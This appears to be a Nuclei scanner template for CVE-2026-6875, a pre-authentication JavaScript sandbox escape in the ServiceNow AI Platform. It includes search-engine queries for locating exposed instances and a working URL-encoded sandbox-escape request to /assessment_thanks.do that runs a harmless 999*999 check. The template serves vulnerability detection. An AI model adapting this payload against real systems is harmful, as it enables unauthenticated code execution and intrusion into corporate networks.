ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE

id: CVE-2026-6875

info:
  name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
  author: pdteam,DhiyaneshDk
  severity: critical
  description: |
    ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates "javascript:" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.
  impact: |
    Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.
  remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.
  reference:
    - https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6875
    - https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/
    - https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit
  classification:
    cve-id: CVE-2026-6875
    cwe-id: CWE-94
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.5
    epss-score: 0.77584
    epss-percentile: 0.99538
  metadata:
    verified: true
    max-request: 2
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.do"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: word
        part: body
        words:
          - "servicenow"
          - "glide"
          - "sysparm"
        condition: or
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "998001"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a29b98a9483fd1a0ef8ebe2cc69832aba8a69f9f65f3163256051be63f924398022100c692e8de58a204ae14ceaf4797ca2bf0a8b386fe8c6c67440e63f01aeeb23d30:922c64590222798bb761d5b6d8e72950